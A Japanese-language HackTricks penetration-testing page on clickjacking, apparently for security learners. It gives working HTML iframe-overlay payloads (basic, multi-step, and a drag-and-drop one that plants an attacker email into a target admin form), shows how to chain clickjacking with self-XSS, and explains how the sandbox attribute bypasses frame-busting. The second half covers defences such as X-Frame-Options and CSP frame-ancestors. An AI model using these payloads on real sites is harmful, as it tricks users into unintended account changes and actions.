13 KiB
Clickjacking
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- ハッキングトリックを共有するには、PRを HackTricks と HackTricks Cloud のGitHubリポジトリに提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Clickjackingとは
Clickjacking攻撃では、ユーザーが見えないか、別の要素として偽装されたウェブページ上の要素をクリックするように騙されます。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
フォームの事前入力トリック
時々、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます。攻撃者はこの動作を悪用して、フォームに任意のデータを入力してクリックジャッキングペイロードを送信し、ユーザーがボタンを押すようにすることができます。
ドラッグ&ドロップでフォームにデータを入力
ユーザーにフォームに入力してほしいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーにドラッグ&ドロップするように依頼して、この例のように制御されたデータを書き込むことができます。
基本的なペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
マルチステップペイロード
In this technique, the attacker uses multiple iframes to divide the attack into multiple steps. Each iframe loads a different part of the attack, making it harder for the victim to detect the malicious activity. By splitting the payload into multiple steps, the attacker can bypass certain security mechanisms that may be in place to detect and prevent clickjacking attacks.
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
ドラッグ&ドロップ + クリックペイロード
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
XSS攻撃を特定し、ユーザーがクリックする必要がある XSSをトリガー するページがあり、かつページがClickjackingに脆弱である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。
例:
アカウントのプライベートな詳細(あなただけが設定および読み取り可能)でself XSSを見つけました。これらの詳細を設定するためのフォームがClickjackingに脆弱であり、GETパラメータでフォームを事前に埋め込むことができます。
__攻撃者は、そのページにClickjacking攻撃を準備し、XSSペイロードをフォームに事前に埋め込み、ユーザーをだましてフォームを送信させる可能性があります。そのため、フォームが送信され値が変更されると、ユーザーがXSSを実行します。
Clickjackingの緩和策
クライアントサイドの防御策
クライアントサイドで実行されるスクリプトは、Clickjackingを防ぐためのアクションを実行できます:
- アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
- すべてのフレームを表示する。
- 不可視フレームでのクリックを防止する。
- Clickjackingの試みを検出し、ユーザーに警告する。
ただし、これらのフレームブレーキングスクリプトは回避される可能性があります:
- ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの不足に基づいてこれらのスクリプトをブロックする場合があります。
- HTML5 iframe
sandbox
属性: 攻撃者は、allow-forms
またはallow-scripts
の値を設定し、allow-top-navigation
を含まないsandbox
属性を設定することで、フレームブレーキングスクリプトを無効化できます。これにより、iframeがトップウィンドウであるかどうかを検証することが防止されます。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
サーバーサイドの防御
X-Frame-Options
X-Frame-Options
HTTPレスポンスヘッダーは、<frame>
または<iframe>
内でページをレンダリングする正当性についてブラウザに通知し、Clickjackingを防ぐのに役立ちます:
X-Frame-Options: deny
- どのドメインもコンテンツをフレーム化できません。X-Frame-Options: sameorigin
- 現在のサイトのみがコンテンツをフレーム化できます。X-Frame-Options: allow-from https://trusted.com
- 指定された 'uri' のみがページをフレーム化できます。- このディレクティブをサポートしていないブラウザがあるため、制限に注意してください。一部のブラウザはCSPのframe-ancestorsディレクティブを好む場合があります。
Content Security Policy (CSP)のframe-ancestorsディレクティブ
CSP内の**frame-ancestors
ディレクティブ**はClickjacking保護の推奨方法です:
frame-ancestors 'none'
-X-Frame-Options: deny
と類似。frame-ancestors 'self'
-X-Frame-Options: sameorigin
と類似。frame-ancestors trusted.com
-X-Frame-Options: allow-from
と類似。
たとえば、次のCSPは同じドメインからのフレーミングのみを許可します:
Content-Security-Policy: frame-ancestors 'self';
詳細や複雑な例は、frame-ancestors CSPドキュメントおよびMozillaのCSP frame-ancestorsドキュメントで見つけることができます。
child-src
およびframe-src
を使用したContent Security Policy(CSP)
**Content Security Policy(CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐセキュリティ対策です。
frame-src
ディレクティブ
- フレームの有効なソースを定義します。
default-src
ディレクティブより具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
このポリシーでは、同じオリジン(self)およびhttps://trusted-website.comからのフレームを許可します。
child-src
ディレクティブ
- CSPレベル2で導入され、Webワーカーとフレームの有効なソースを設定するために使用されます。
- frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
このポリシーは、同じオリジン(self)およびhttps://trusted-website.comからのフレームとワーカーを許可します。
使用上の注意:
- 廃止予定: child-srcはframe-srcおよびworker-srcに取って代わられる過程にあります。
- フォールバック動作: frame-srcが存在しない場合、フレームのフォールバックとしてchild-srcが使用されます。両方が存在しない場合、default-srcが使用されます。
- 厳密なソース定義: 悪用を防ぐためにディレクティブに信頼できるソースのみを含めます。
JavaScriptによるフレーム破壊スクリプト
完全に万全ではありませんが、JavaScriptベースのフレーム破壊スクリプトを使用して、Webページがフレーム化されるのを防ぐことができます。例:
if (top !== self) {
top.location = self.location;
}
Anti-CSRFトークンの利用
- トークンの検証: WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。
参考文献
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ こちら!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。